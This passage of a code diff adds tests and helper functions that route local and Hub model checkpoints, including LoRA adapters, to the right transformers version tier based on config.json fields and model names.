+    def test_config_needs_530_qwen3_5_conditional_generation(self):
+        assert _config_needs_530({"architectures": ["Qwen3_5ForConditionalGeneration"]}) is True
+
+    def test_config_needs_530_qwen3_moe(self):
+        assert _config_needs_530({"model_type": "qwen3_moe"}) is True
+
+    def test_config_needs_530_glm4_moe_lite(self):
+        assert _config_needs_530({"model_type": "glm4_moe_lite"}) is True
+
+    def test_config_needs_530_lfm2_vl(self):
+        assert _config_needs_530({"model_type": "lfm2_vl"}) is True
+
+    def test_config_needs_530_qwen3_5_moe(self):
+        """Qwen3.5 MoE (Qwen3.5-35B-A3B / 122B-A10B) uses qwen3_5_moe ids."""
+        assert (
+            _config_needs_530(
+                {
+                    "model_type": "qwen3_5_moe",
+                    "architectures": ["Qwen3_5MoeForConditionalGeneration"],
+                }
+            )
+            is True
+        )
+
+    def test_config_needs_530_qwen3_next(self):
+        assert (
+            _config_needs_530(
+                {"model_type": "qwen3_next", "architectures": ["Qwen3NextForCausalLM"]}
+            )
+            is True
+        )
+
+    def test_config_needs_530_qwen3_5_text_towers(self):
+        """Text-tower configs (architectures may be stripped) still need 5.3.0."""
+        assert _config_needs_530({"model_type": "qwen3_5_text"}) is True
+        assert _config_needs_530({"model_type": "qwen3_5_moe_text"}) is True
+
+    def test_config_needs_530_plain_qwen3_is_false(self):
+        """Regular Qwen3 (non-MoE, non-3.5) must not be promoted to 5.3.0."""
+        assert _config_needs_530({"model_type": "qwen3"}) is False
+
+    def test_tier_local_qwen35_config_selects_530(self, tmp_path: Path):
+        """Reported case: a local Qwen3.5 folder routes to 530 via config.json."""
+        d = tmp_path / "Qwen3.5-2B"
+        d.mkdir()
+        (d / "config.json").write_text(json.dumps({"model_type": "qwen3_5"}))
+        assert get_transformers_tier(str(d)) == "530"
+
+    def test_tier_local_qwen3_moe_config_selects_530(self, tmp_path: Path):
+        """Local Qwen3 MoE checkpoint routes to 530 via config.json."""
+        d = tmp_path / "my-qwen3-moe"
+        d.mkdir()
+        (d / "config.json").write_text(
+            json.dumps({"model_type": "qwen3_moe", "architectures": ["Qwen3MoeForCausalLM"]})
+        )
+        assert get_transformers_tier(str(d)) == "530"
+
+    def test_tier_local_glm4_moe_lite_config_selects_530(self, tmp_path: Path):
+        """Local GLM-4.7-Flash checkpoint routes to 530 via config.json."""
+        d = tmp_path / "my-glm-model"
+        d.mkdir()
+        (d / "config.json").write_text(
+            json.dumps({"model_type": "glm4_moe_lite", "architectures": ["Glm4MoeLiteForCausalLM"]})
+        )
+        assert get_transformers_tier(str(d)) == "530"
+
+    def test_tier_local_lfm2_vl_config_selects_530(self, tmp_path: Path):
+        """Local LFM2.5-VL checkpoint routes to 530 via config.json."""
+        d = tmp_path / "my-liquid-model"
+        d.mkdir()
+        (d / "config.json").write_text(
+            json.dumps(
+                {"model_type": "lfm2_vl", "architectures": ["Lfm2VlForConditionalGeneration"]}
+            )
+        )
+        assert get_transformers_tier(str(d)) == "530"
+
+    def test_tier_local_qwen35_moe_config_selects_530(self, tmp_path: Path):
+        """A renamed Qwen3.5 MoE folder (no name hint) routes to 530 via config."""
+        d = tmp_path / "my-custom-moe"
+        d.mkdir()
+        (d / "config.json").write_text(
+            json.dumps(
+                {
+                    "model_type": "qwen3_5_moe",
+                    "architectures": ["Qwen3_5MoeForConditionalGeneration"],
+                }
+            )
+        )
+        assert get_transformers_tier(str(d)) == "530"
+
+    # --- Qwen3.6 reuses Qwen3.5 config ids but routes to 550 by name ---------
+
+    def test_local_qwen36_config_keeps_550_name_tier(self, tmp_path: Path):
+        """Qwen3.6 config carries qwen3_5 ids; a higher-tier name match wins."""
+        d = tmp_path / "Qwen3.6-27B"
+        d.mkdir()
+        (d / "config.json").write_text(
+            json.dumps(
+                {"model_type": "qwen3_5", "architectures": ["Qwen3_5ForConditionalGeneration"]}
+            )
+        )
+        assert get_transformers_tier(str(d)) == "550"
+
+    def test_local_qwen36_moe_via_name_or_path_keeps_550(self, tmp_path: Path):
+        """Renamed Qwen3.6 MoE folder: _name_or_path carries the 5.5 name signal."""
+        d = tmp_path / "renamed-q36-moe"
+        d.mkdir()
+        (d / "config.json").write_text(
+            json.dumps(
+                {
+                    "model_type": "qwen3_5_moe",
+                    "architectures": ["Qwen3_5MoeForConditionalGeneration"],
+                    "_name_or_path": "Qwen/Qwen3.6-35B-A3B",
+                }
+            )
+        )
+        assert get_transformers_tier(str(d)) == "550"
+
+    def test_stale_absolute_name_or_path_not_promoted(self, tmp_path: Path):
+        """A non-5.x checkpoint with a stale absolute _name_or_path isn't name-matched."""
+        d = tmp_path / "my-llama-ckpt"
+        d.mkdir()
+        (d / "config.json").write_text(
+            json.dumps({"model_type": "llama", "_name_or_path": "/old/run/qwen3.5-source"})
+        )
+        with patch(
+            "utils.transformers_version._check_tokenizer_config_needs_v5", return_value = False
+        ):
+            assert get_transformers_tier(str(d)) == "default"
+
+    # --- _name_or_path fallback ---------------------------------------------
+
+    def test_renamed_folder_falls_back_to_hf_id_in_config(self, tmp_path: Path):
+        """A renamed local folder with an unrecognised model_type but a known
+        HF ID in _name_or_path still routes to the correct tier."""
+        d = tmp_path / "my-custom-name"
+        d.mkdir()
+        # Simulate a future/unknown model_type; the HF ID carries the tier signal.
+        (d / "config.json").write_text(
+            json.dumps(
+                {
+                    "model_type": "future_unknown_type",
+                    "_name_or_path": "Qwen/Qwen3.5-7B",
+                }
+            )
+        )
+        assert get_transformers_tier(str(d)) == "530"
+
+    def test_hf_id_fallback_respects_550_tier(self, tmp_path: Path):
+        """_name_or_path pointing to a Gemma-4 HF ID routes to 550."""
+        d = tmp_path / "renamed-gemma"
+        d.mkdir()
+        (d / "config.json").write_text(
+            json.dumps(
+                {
+                    "model_type": "future_unknown_type",
+                    "_name_or_path": "google/gemma-4-E2B-it",
+                }
+            )
+        )
+        assert get_transformers_tier(str(d)) == "550"
+
+    def test_hf_id_fallback_skipped_when_same_as_path(self, tmp_path: Path):
+        """If _name_or_path equals the model path, skip the name fallback to
+        avoid false positives from self-referencing configs."""
+        d = tmp_path / "qwen3.5-experiment"
+        d.mkdir()
+        # _name_or_path is the local path itself (e.g. saved via save_pretrained)
+        (d / "config.json").write_text(
+            json.dumps(
+                {
+                    "model_type": "llama",
+                    "_name_or_path": str(d),
+                }
+            )
+        )
+        with patch(
+            "utils.transformers_version._check_tokenizer_config_needs_v5", return_value = False
+        ):
+            # "qwen3.5" is in the path but config says llama and _name_or_path
+            # is self-referencing — must not be promoted to 530.
+            assert get_transformers_tier(str(d)) == "default"
+
+    def test_hf_id_fallback_not_triggered_when_name_or_path_is_absolute_self(self, tmp_path: Path):
+        """_name_or_path == absolute path of the same checkpoint while model_name
+        is a relative path: the two strings differ, but both point to the same
+        directory.  The absolute path must not be scanned for tier substrings."""
+        d = tmp_path / "qwen3.5-experiment"
+        d.mkdir()
+        (d / "config.json").write_text(
+            json.dumps(
+                {
+                    "model_type": "llama",
+                    # absolute path — textually different from a relative model_name
+                    "_name_or_path": str(d),
+                }
+            )
+        )
+        with patch(
+            "utils.transformers_version._check_tokenizer_config_needs_v5", return_value = False
+        ):
+            # Even though str(d) contains "qwen3.5", the local-dir branch recurses
+            # into config checks on the resolved path, which returns default.
+            assert get_transformers_tier(str(d)) == "default"
+
+    # --- false-positive guard -----------------------------------------------
+
+    def test_tier_local_plain_model_still_default(self, tmp_path: Path):
+        """A local non-5.x checkpoint returns default; the directory-name
+        false-positive guard is preserved."""
+        d = tmp_path / "checkpoint-1000"
+        d.mkdir()
+        (d / "config.json").write_text(
+            json.dumps({"architectures": ["LlamaForCausalLM"], "model_type": "llama"})
+        )
+        with patch(
+            "utils.transformers_version._check_tokenizer_config_needs_v5",
+            return_value = False,
+        ):
+            assert get_transformers_tier(str(d)) == "default"
+
+
+# ---------------------------------------------------------------------------
+# _check_config_needs_530 — slow HF-ID path (network stub)
+# ---------------------------------------------------------------------------
+
+
+class TestCheckConfigNeeds530:
+    """_check_config_needs_530 is used in the slow HF-ID fallback path for
+    private or renamed repos whose names don't contain a 5.3 substring."""
+
+    def setup_method(self):
+        _config_json_cache.clear()
+        _config_needs_530_cache.clear()
+
+    def test_returns_true_for_qwen3_5_model_type(self):
+        with patch(
+            "utils.transformers_version._load_config_json",
+            return_value = {"model_type": "qwen3_5"},
+        ):
+            assert _check_config_needs_530("some-private/qwen3.5-variant") is True
+
+    def test_returns_true_for_qwen3_moe_architecture(self):
+        with patch(
+            "utils.transformers_version._load_config_json",
+            return_value = {"architectures": ["Qwen3MoeForCausalLM"]},
+        ):
+            assert _check_config_needs_530("org/private-moe-model") is True
+
+    def test_returns_false_for_llama(self):
+        with patch(
+            "utils.transformers_version._load_config_json",
+            return_value = {"model_type": "llama", "architectures": ["LlamaForCausalLM"]},
+        ):
+            assert _check_config_needs_530("meta-llama/Llama-3-8B") is False
+
+    def test_returns_false_when_config_unavailable(self):
+        with patch("utils.transformers_version._load_config_json", return_value = None):
+            assert _check_config_needs_530("org/unreachable-model") is False
+
+    def test_result_is_cached(self):
+        with patch(
+            "utils.transformers_version._load_config_json",
+            return_value = {"model_type": "qwen3_5"},
+        ) as mock_load:
+            _check_config_needs_530("cached-model")
+            _check_config_needs_530("cached-model")
+            assert mock_load.call_count == 1
+
+
+# ---------------------------------------------------------------------------
+# _norm_separators
+# ---------------------------------------------------------------------------
+
+
+class TestNormSeparators:
+    def test_underscore_to_hyphen(self):
+        assert _norm_separators("qwen3_5") == "qwen3-5"
+
+    def test_dot_preserved(self):
+        assert _norm_separators("qwen3.5") == "qwen3.5"
+
+    def test_hyphen_unchanged(self):
+        assert _norm_separators("gemma-4") == "gemma-4"
+
+    def test_mixed(self):
+        assert _norm_separators("Qwen3_5.MoE") == "Qwen3-5.MoE"
+
+    def test_whitespace_to_hyphen(self):
+        assert _norm_separators("some model") == "some-model"
+
+    def test_empty(self):
+        assert _norm_separators("") == ""
+
+
+# ---------------------------------------------------------------------------
+# _tier_from_name — separator-insensitive matching
+# ---------------------------------------------------------------------------
+
+
+class TestTierFromNameSeparatorNorm:
+    """Verify that underscore/dot aliases in model IDs resolve to the same
+    tier as their canonical hyphen/dot counterparts."""
+
+    def test_qwen3_underscore_5_returns_530(self):
+        tier, _ = _tier_from_name("Qwen/Qwen3_5-7B")
+        assert tier == "530"
+
+    def test_qwen3_next_underscore_returns_530(self):
+        tier, _ = _tier_from_name("org/Qwen3_Next-14B")
+        assert tier == "530"
+
+    def test_gemma_4_underscore_returns_550(self):
+        tier, _ = _tier_from_name("google/gemma_4_E2B_it")
+        assert tier == "550"
+
+    def test_gemma_4_12b_underscore_returns_510(self):
+        tier, _ = _tier_from_name("unsloth/gemma_4_12b_it")
+        assert tier == "510"
+
+    def test_canonical_dot_still_works(self):
+        tier, _ = _tier_from_name("Qwen/Qwen3.5-7B")
+        assert tier == "530"
+
+    def test_unrelated_underscores_not_promoted(self):
+        assert _tier_from_name("meta_llama/Llama_3_8B") is None
+
+    def test_qwen3_hyphen_6_size_not_promoted(self):
+        """Qwen3-6B is a size name, not the qwen3.6 release line."""
+        assert _tier_from_name("Qwen/Qwen3-6B-Instruct") is None
+
+    def test_qwen3_hyphen_5_size_not_promoted(self):
+        assert _tier_from_name("Qwen/Qwen3-5B") is None
+
+
+# ---------------------------------------------------------------------------
+# _resolve_base_model — model_name-then-_name_or_path fallback
+# ---------------------------------------------------------------------------
+
+
+class TestResolveBaseModelNameOrPathFallback:
+    """When config.json has both 'model_name' (self-referential local path) and
+    '_name_or_path' (original HF ID), _resolve_base_model must use _name_or_path."""
+
+    def test_name_or_path_used_when_model_name_is_self_ref(self, tmp_path: Path):
+        d = tmp_path / "my-qwen35-finetune"
+        d.mkdir()
+        (d / "config.json").write_text(
+            json.dumps(
+                {
+                    "model_name": str(d),
+                    "_name_or_path": "Qwen/Qwen3.5-7B",
+                }
+            )
+        )
+        assert _resolve_base_model(str(d)) == "Qwen/Qwen3.5-7B"
+
+    def test_model_name_used_when_not_self_ref(self, tmp_path: Path):
+        d = tmp_path / "adapter"
+        d.mkdir()
+        (d / "config.json").write_text(
+            json.dumps(
+                {
+                    "model_name": "unsloth/Qwen3.5-7B-bnb-4bit",
+                    "_name_or_path": "Qwen/Qwen3.5-7B",
+                }
+            )
+        )
+        # model_name is not the local path, so it wins
+        assert _resolve_base_model(str(d)) == "unsloth/Qwen3.5-7B-bnb-4bit"
+
+    def test_tier_resolved_via_name_or_path_when_model_name_self_refs(self, tmp_path: Path):
+        """End-to-end: get_transformers_tier picks up the sidecar tier from
+        _name_or_path even when model_name is set to the checkpoint's own path."""
+        d = tmp_path / "my-custom-finetune"
+        d.mkdir()
+        (d / "config.json").write_text(
+            json.dumps(
+                {
+                    "model_type": "future_unknown_type",
+                    "model_name": str(d),
+                    "_name_or_path": "Qwen/Qwen3.5-7B",
+                }
+            )
+        )
+        assert get_transformers_tier(str(d)) == "530"
+
+    def test_local_config_tier_not_bypassed_by_private_name_or_path(self, tmp_path: Path):
+        """Full checkpoint with model_type: qwen3_5 must still route to 530 even
+        when _name_or_path is a private HF ID with no recognisable tier substring.
+
+        Regression guard: before the adapter-only pre-resolve fix,
+        activate_transformers_for_subprocess would resolve to the private HF ID
+        and then fail to probe it offline, returning default instead of 530.
+        """
+        d = tmp_path / "my-finetuned-model"
+        d.mkdir()
+        (d / "config.json").write_text(
+            json.dumps(
+                {
+                    "model_type": "qwen3_5",
+                    "model_name": str(d),
+                    "_name_or_path": "my-org/private-custom-id",
+                }
+            )
+        )
+        # get_transformers_tier reads config.json directly and returns 530
+        # without needing to probe the private HF ID.
+        assert get_transformers_tier(str(d)) == "530"
+
+
+# ---------------------------------------------------------------------------
+# adapter_model-only LoRA resolution (no adapter_config.json)
+# ---------------------------------------------------------------------------
+
+
+class TestAdapterModelOnlyLoRA:
+    """A LoRA dir with adapter_model*.safetensors but no adapter_config.json must
+    still be detected as an adapter and resolved to its base model so the worker
+    activates the base model's sidecar instead of tiering off the adapter folder."""
+
+    def test_has_adapter_weights_detects_safetensors_and_bin(self, tmp_path: Path):
+        d = tmp_path / "adapter"
+        d.mkdir()
+        assert _has_adapter_weights(d) is False
+        (d / "adapter_model.safetensors").write_text("")
+        assert _has_adapter_weights(d) is True
+        d2 = tmp_path / "adapter_bin"
+        d2.mkdir()
+        (d2 / "adapter_model.bin").write_text("")
+        assert _has_adapter_weights(d2) is True
+
+    def test_is_lora_adapter_dir_for_config_and_weights_only(self, tmp_path: Path):
+        # adapter_config.json present
+        a = tmp_path / "cfg"
+        a.mkdir()
+        (a / "adapter_config.json").write_text("{}")
+        assert _is_lora_adapter_dir(a) is True
+        # adapter_model weights only, no config
+        b = tmp_path / "weights_only"
+        b.mkdir()
+        (b / "adapter_model.safetensors").write_text("")
+        assert _is_lora_adapter_dir(b) is True
+        # plain checkpoint dir (neither)
+        c = tmp_path / "plain"
+        c.mkdir()
+        (c / "config.json").write_text("{}")
+        assert _is_lora_adapter_dir(c) is False
+        # not a directory
+        assert _is_lora_adapter_dir(tmp_path / "missing") is False
+
+    def test_resolve_adapter_only_lora_via_unsloth_dir_name(self, tmp_path: Path):
+        """adapter_model-only LoRA with the unsloth_<model>_<ts> naming resolves to
+        unsloth/<model> through the import-light directory-name parse."""
+        d = tmp_path / "unsloth_Qwen3.5-7B_20260620"
+        d.mkdir()
+        (d / "adapter_model.safetensors").write_text("")
+        assert _resolve_base_model(str(d)) == "unsloth/Qwen3.5-7B"
+
+    def test_activation_pre_resolves_adapter_only_lora(self, tmp_path: Path):
+        """Regression: activate_transformers_for_subprocess must pre-resolve an
+        adapter_model-only LoRA dir (weights present, adapter_config.json absent).
+        Before the gate used _is_lora_adapter_dir, the adapter_config-only check
+        skipped resolution and the worker tiered off the adapter folder itself."""
+        d = tmp_path / "my-custom-lora"
+        d.mkdir()
+        (d / "adapter_model.safetensors").write_text("")
+        snap = (list(sys.path), os.environ.get("PYTHONPATH"))
+        try:
+            with (
+                patch(
+                    "utils.transformers_version._resolve_base_model",
+                    side_effect = lambda m: m,
+                ) as mock_resolve,
+                patch(
+                    "utils.transformers_version.get_transformers_tier",
+                    return_value = "default",
+                ),
+            ):
+                activate_transformers_for_subprocess(str(d))
+        finally:
+            sys.path[:] = snap[0]
+            if snap[1] is None:
+                os.environ.pop("PYTHONPATH", None)
+            else:
+                os.environ["PYTHONPATH"] = snap[1]
+        mock_resolve.assert_called_once_with(str(d))
+
+
+# ---------------------------------------------------------------------------
+# 530-config override must not be flipped by stale local path hints
+# ---------------------------------------------------------------------------
+
+
+class TestConfig530OverrideGuard:
+    """A correct 530 config must not be flipped to 550 by a 5.5-looking substring in
+    a stale/renamed local path; only a real Hub id or the folder basename may override."""
+
+    def test_stale_local_path_does_not_flip_530_to_550(self, tmp_path: Path):
+        d = tmp_path / "my-qwen35-run"
+        d.mkdir()
+        (d / "config.json").write_text(
+            json.dumps(
+                {
+                    "model_type": "qwen3_5",
+                    "_name_or_path": "/old/run/qwen3.6-source",
+                }
+            )
+        )
+        # Stale path is not a Hub id, so the 530 config wins over its qwen3.6 substring.
+        assert get_transformers_tier(str(d)) == "530"
+
+    def test_current_basename_can_still_override_to_550(self, tmp_path: Path):
+        d = tmp_path / "Qwen3.6-27B"
+        d.mkdir()
+        # Qwen3.6 reuses the qwen3_5 config id but is a 5.5 model by name.
+        (d / "config.json").write_text(
+            json.dumps({"model_type": "qwen3_5", "_name_or_path": str(d)})
+        )
+        assert get_transformers_tier(str(d)) == "550"
+
+    def test_real_hub_id_can_still_override_to_550(self, tmp_path: Path):
+        d = tmp_path / "my-finetune"
+        d.mkdir()
+        (d / "config.json").write_text(
+            json.dumps({"model_type": "qwen3_5", "_name_or_path": "Qwen/Qwen3.6-27B"})
+        )
+        assert get_transformers_tier(str(d)) == "550"
+
+    def test_remote_qwen36_name_or_path_overrides_530(self):
+        """Slow path: a fetched qwen3_5 config naming Qwen3.6 in _name_or_path -> 550."""
+        _config_needs_530_cache.clear()
+        _config_json_cache.clear()
+        with patch(
+            "utils.transformers_version._load_config_json",
+            return_value = {"model_type": "qwen3_5", "_name_or_path": "Qwen/Qwen3.6-27B"},
+        ):
+            assert get_transformers_tier("private/renamed-q36") == "550"
+
+
+class TestLooksLikeHfId:
+    def test_empty_and_whitespace_are_not_ids(self):
+        assert _looks_like_hf_id("") is False
+        assert _looks_like_hf_id("   ") is False
+
+    def test_plain_hub_id(self):
+        assert _looks_like_hf_id("Qwen/Qwen3.5-7B") is True
+
+    def test_absolute_and_dot_paths_are_not_ids(self):
+        assert _looks_like_hf_id("/old/run/qwen3.5-source") is False
+        assert _looks_like_hf_id("./qwen3.5-source") is False
+
+    def test_existing_local_path_is_not_an_id(self, tmp_path: Path):
+        d = tmp_path / "Qwen3.5-7B"
+        d.mkdir()
+        import os as _os
+
+        cwd = _os.getcwd()
+        try:
+            _os.chdir(tmp_path)
+            # "Qwen3.5-7B" exists relative to cwd, so it is a path, not a Hub id.
+            assert _looks_like_hf_id("Qwen3.5-7B") is False
+        finally:
+            _os.chdir(cwd)
+
+
+class TestMalformedInputRobustness:
+    """Tier detection fails open to default instead of crashing on bad input."""
+
+    def setup_method(self):
+        _config_json_cache.clear()
+        _config_needs_530_cache.clear()
+
+    def test_non_string_model_type_does_not_crash(self):
+        assert _config_needs_530({"model_type": ["qwen3_5"]}) is False
+
+    def test_non_list_architectures_does_not_crash(self):
+        assert _config_needs_530({"architectures": "Qwen3_5ForCausalLM"}) is False
+
+    def test_local_config_non_string_fields_returns_default(self, tmp_path: Path):
+        d = tmp_path / "weird"
+        d.mkdir()
+        (d / "config.json").write_text(
+            json.dumps({"model_type": ["qwen3_5"], "_name_or_path": {"x": 1}})
+        )
+        with patch(
+            "utils.transformers_version._check_tokenizer_config_needs_v5", return_value = False
+        ):
+            assert get_transformers_tier(str(d)) == "default"
+
+    def test_pathological_long_name_does_not_crash(self):
+        # An over-long name makes is_file() raise OSError; must fail open.
+        assert get_transformers_tier("x" * 5000) == "default"
+
+    def test_empty_name_returns_default(self):
+        assert get_transformers_tier("") == "default"
diff --git a/studio/backend/utils/hardware/hardware.py b/studio/backend/utils/hardware/hardware.py
index 637679a4be..88a1784b88 100644
--- a/studio/backend/utils/hardware/hardware.py
+++ b/studio/backend/utils/hardware/hardware.py
@@ -1205,7 +1205,24 @@ def _load_config_for_gpu_estimate(model_name: str, hf_token: Optional[str] = Non
 
         return _to_ns(cfg)
     except Exception as e:
-        logger.warning("Could not load config for '%s': %s", model_name, e)
+        # A 5.x-only config can't be parsed by the default transformers; that is
+        # expected (the worker reloads under the sidecar), so only warn for default tier.
+        tier = "default"
+        try:
+            from utils.transformers_version import get_transformers_tier
+            tier = get_transformers_tier(model_name)
+        except Exception:
+            pass
+        if tier != "default":
+            _tier_version = {"510": "5.10.x", "530": "5.3.0", "550": "5.5.0"}.get(tier, "5.x")
+            logger.info(
+                "Config for '%s' not parseable by the default transformers; "
+                "needs transformers %s and will be loaded with that sidecar in the worker",
+                model_name,
+                _tier_version,
+            )
+        else:
+            logger.warning("Could not load config for '%s': %s", model_name, e)
         return None
 
 
diff --git a/studio/backend/utils/transformers_version.py b/studio/backend/utils/transformers_version.py
index f1224086bf..959b9e99cd 100644
--- a/studio/backend/utils/transformers_version.py
+++ b/studio/backend/utils/transformers_version.py
@@ -55,6 +55,22 @@ def _env_offline() -> bool:
     ) or os.environ.get("TRANSFORMERS_OFFLINE", "").lower() in ("1", "true", "yes")
 
 
+def _safe_is_file(p: Path) -> bool:
+    """``p.is_file()`` returning False instead of raising on a bad path."""
+    try:
+        return p.is_file()
+    except (OSError, ValueError):
+        return False
+
+
+def _safe_is_dir(p: Path) -> bool:
+    """``p.is_dir()`` returning False instead of raising on a bad path."""
+    try:
+        return p.is_dir()
+    except (OSError, ValueError):
+        return False
+
+
 # ---------------------------------------------------------------------------
 # Detection
 # ---------------------------------------------------------------------------
@@ -105,6 +121,29 @@ _TRANSFORMERS_550_MODEL_TYPES: set[str] = {
     "gemma4",
 }
 
+# Architecture classes / model_type values that require transformers 5.3.0.
+# Checked via config.json (local or HuggingFace).
+_TRANSFORMERS_530_ARCHITECTURES: set[str] = {
+    "Qwen3_5ForCausalLM",
+    "Qwen3_5ForConditionalGeneration",
+    "Qwen3_5MoeForCausalLM",
+    "Qwen3_5MoeForConditionalGeneration",
+    "Qwen3MoeForCausalLM",
+    "Qwen3NextForCausalLM",
+    "Glm4MoeLiteForCausalLM",
+    "Lfm2VlForConditionalGeneration",
+}
+_TRANSFORMERS_530_MODEL_TYPES: set[str] = {
+    "qwen3_5",
+    "qwen3_5_text",
+    "qwen3_5_moe",
+    "qwen3_5_moe_text",
+    "qwen3_moe",
+    "qwen3_next",
+    "glm4_moe_lite",
+    "lfm2_vl",
+}
+
 # Tokenizer classes that only exist in transformers>=5.x.
 _TRANSFORMERS_5_TOKENIZER_CLASSES: set[str] = {
     "TokenizersBackend",
@@ -117,6 +156,7 @@ _tokenizer_class_cache: dict[str, bool] = {}
 _config_json_cache: dict[tuple[str, str | None], dict | None] = {}
 _config_needs_510_cache: dict[str, bool] = {}
 _config_needs_550_cache: dict[str, bool] = {}
+_config_needs_530_cache: dict[str, bool] = {}
 
 # Versions
 TRANSFORMERS_510_VERSION = "5.10.2"
@@ -153,7 +193,12 @@ def activate_transformers_for_subprocess(model_name: str) -> None:
     ``sys.path``, and propagates it via ``PYTHONPATH`` for child processes
     (e.g. GGUF converter). Used by training, inference, and export workers.
     """
-    resolved = _resolve_base_model(model_name)
+    # Pre-resolve only LoRA adapters; full checkpoints go to get_transformers_tier
+    # so their local config.json drives the tier (avoids a fragile HF-id probe).
+    if _is_lora_adapter_dir(Path(model_name)):
+        resolved = _resolve_base_model(model_name)
+    else:
+        resolved = model_name
     tier = get_transformers_tier(resolved)
     if model_name != resolved and (Path(model_name) / "config.json").is_file():
         # Gate on a real local config.json: a checkpoint carries config the base may not
@@ -215,6 +260,35 @@ def activate_transformers_for_subprocess(model_name: str) -> None:
         logger.info("Using default transformers (4.57.x) for %s", model_name)
 
 
+def _has_adapter_weights(path: Path) -> bool:
+    """True if *path* holds LoRA adapter weight files (``adapter_model.*``)."""
+    try:
+        return any(path.glob("adapter_model*.safetensors")) or any(path.glob("adapter_model*.bin"))
+    except OSError:
+        return False
+
+
+def _is_lora_adapter_dir(path: Path) -> bool:
+    """True if *path* is a local LoRA dir (adapter_config.json or adapter_model-only
+    weights). Import-light so it can run during subprocess activation."""
+    try:
+        if not path.is_dir():
+            return False
+        return (path / "adapter_config.json").is_file() or _has_adapter_weights(path)
+    except OSError:
+        return False
+
+
+def _is_same_path(value: str, local_path: Path) -> bool:
+    """True if *value* resolves to *local_path* (relative/absolute/symlink)."""
+    if value == str(local_path):
+        return True
+    try:
+        return os.path.realpath(value) == os.path.realpath(str(local_path))
+    except OSError:
+        return False
+
+
 def _resolve_base_model(model_name: str) -> str:
     """If *model_name* points to a LoRA adapter, return its base model.
 
@@ -226,7 +300,7 @@ def _resolve_base_model(model_name: str) -> str:
     # --- Fast local check ---------------------------------------------------
     local_path = Path(model_name)
     adapter_cfg_path = local_path / "adapter_config.json"
-    if adapter_cfg_path.is_file():
+    if _safe_is_file(adapter_cfg_path):
         try:
             with open(adapter_cfg_path) as f:
                 cfg = json.load(f)
@@ -243,24 +317,27 @@ def _resolve_base_model(model_name: str) -> str:
 
     # --- config.json fallback (works for both LoRA and full fine-tune) ------
     config_json_path = local_path / "config.json"
-    if config_json_path.is_file():
+    if _safe_is_file(config_json_path):
         try:
             with open(config_json_path) as f:
                 cfg = json.load(f)
-            # Unsloth writes "model_name"; HF writes "_name_or_path"
-            base = cfg.get("model_name") or cfg.get("_name_or_path")
-            if base and base != str(local_path):
-                logger.info(
-                    "Resolved checkpoint '%s' → base model '%s' (via config.json)",
-                    model_name,
-                    base,
-                )
-                return base
+            # Unsloth writes model_name, HF writes _name_or_path; skip a self-reference.
+            for _key in ("model_name", "_name_or_path"):
+                base = cfg.get(_key)
+                if isinstance(base, str) and base and not _is_same_path(base, local_path):
+                    logger.info(
+                        "Resolved checkpoint '%s' → base model '%s' (via config.json)",
+                        model_name,
+                        base,
+                    )
+                    return base
         except Exception as exc:
             logger.debug("Could not read %s: %s", config_json_path, exc)
 
-    # --- Only try the heavier fallback for local directories ----------------
-    if local_path.is_dir():
+    # Gate the heavy resolver on adapter_config.json: importing utils.models pulls
+    # in transformers, which would pin the default into sys.modules before the
+    # sidecar venv is prepended during activation.
+    if _safe_is_file(adapter_cfg_path):
         try:
             from utils.models import get_base_model_from_lora
             base = get_base_model_from_lora(model_name)
@@ -279,6 +356,19 @@ def _resolve_base_model(model_name: str) -> str:
                 exc,
             )
 
+    # adapter_model-only LoRA: no config to resolve from, so use the
+    # unsloth_<model>_<timestamp> dir-name convention (pure string parse).
+    if local_path.name.startswith("unsloth_") and _has_adapter_weights(local_path):
+        parts = local_path.name.split("_")
+        if len(parts) >= 2:  # unsloth_<model...>_<timestamp>
+            base = "unsloth/" + "_".join(parts[1:-1])
+            logger.info(
+                "Resolved adapter-only LoRA '%s' → base model '%s' (via directory name)",
+                model_name,
+                base,
+            )
+            return base
+
     return model_name
 
 
@@ -392,7 +482,7 @@ def _check_tokenizer_config_needs_v5(model_name: str) -> bool:
     # --- Check local tokenizer_config.json first ---------------------------
     local_path = Path(model_name)
     local_tc = local_path / "tokenizer_config.json"
-    if local_tc.is_file():
+    if _safe_is_file(local_tc):
         try:
             with open(local_tc) as f:
                 data = json.load(f)
@@ -497,7 +587,7 @@ def _load_config_json(model_name: str, hf_token: str | None = None) -> dict | No
         return _config_json_cache[cache_key]
 
     local_cfg = Path(model_name) / "config.json"
-    if local_cfg.is_file():
+    if _safe_is_file(local_cfg):
         try:
             with open(local_cfg) as f:
                 cfg = json.load(f)
@@ -548,12 +638,12 @@ def _config_json_is_definitive(model_name: str) -> bool:
 
 
 def _config_matches_tier(cfg: dict, architectures: set[str], model_types: set[str]) -> bool:
-    archs = cfg.get("architectures", [])
-    if any(a in architectures for a in archs):
+    # Defensive: a malformed config may carry non-string values (e.g. list model_type).
+    archs = cfg.get("architectures")
+    if isinstance(archs, (list, tuple)) and any(a in architectures for a in archs):
         return True
-    if cfg.get("model_type") in model_types:
-        return True
-    return False
+    mt = cfg.get("model_type")
+    return isinstance(mt, str) and mt in model_types
 
 
 def _config_needs_550(cfg: dict) -> bool:
@@ -596,6 +686,14 @@ def _config_needs_510(cfg: dict) -> bool:
     return _nemotron_h_needs_mlp_support(cfg)
 
 
+def _config_needs_530(cfg: dict) -> bool:
+    return _config_matches_tier(
+        cfg,
+        _TRANSFORMERS_530_ARCHITECTURES,
+        _TRANSFORMERS_530_MODEL_TYPES,
+    )
+
+
 def _check_config_needs_550(model_name: str) -> bool:
     """True if ``config.json`` needs transformers 5.5.0 (e.g. Gemma 4). Local first, else
     fetched; cached only for a definitive read so a transient miss retries. False on error.
@@ -618,6 +716,33 @@ def _check_config_needs_550(model_name: str) -> bool:
     return result
 
 
+def _check_config_needs_530(model_name: str) -> bool:
+    """Check ``config.json`` for 5.3.0-only architectures (Qwen3.5, Qwen3 MoE, GLM-4.7, LFM2.5-VL).
+
+    Used in the slow HF-ID path for private/renamed repos where name substrings
+    aren't reliable.
+    """
+    if model_name in _config_needs_530_cache:
+        return _config_needs_530_cache[model_name]
+
+    cfg = _load_config_json(model_name)
+    if cfg is None:
+        _config_needs_530_cache[model_name] = False
+        return False
+
+    result = _config_needs_530(cfg)
+    if result:
+        logger.info(
+            "config.json check: %s needs transformers %s (architectures=%s, model_type=%s)",
+            model_name,
+            TRANSFORMERS_530_VERSION,
+            cfg.get("architectures", []),
+            cfg.get("model_type"),
+        )
+    _config_needs_530_cache[model_name] = result
+    return result
+
+
